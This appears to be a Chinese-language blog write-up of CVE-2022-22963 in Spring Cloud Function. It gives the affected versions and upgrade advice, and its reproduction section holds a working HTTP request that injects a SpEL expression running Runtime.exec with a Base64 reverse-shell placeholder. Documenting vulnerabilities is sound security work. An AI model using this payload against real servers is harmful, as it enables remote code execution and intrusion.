发布于 

CVE-2022-22963(Spring Cloud Function SpEL表达式任意代码执行)

1. 漏洞描述

Spring Cloud Function 中的 RoutingFunction 类的 apply() 方法将请求头中的“spring.cloud.function.routing-expression ”参数作为 Spel 表达式进行处理,造成 Spel 表达式注入漏洞,可造成任意代码执行

2. 影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

3. 漏洞复现

此漏洞的核心接口/functionRouter

我们只需要POST发送类型是text/plain的如下数据包即可达到反弹Shell的效果:

1
2
3
4
5
6
7
8
9
10
11
12
POST /functionRouter HTTP/1.1
Host: 192.168.2.188:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("{Base64加密的反弹Shell}")
Content-Type: text/plain
Content-Length: 8

test

image-20221022011713368

结果:

image-20221022011803887

4. 漏洞分析

5. 修复建议

受影响的组件更新至3.1.7、3.2.3安全版本。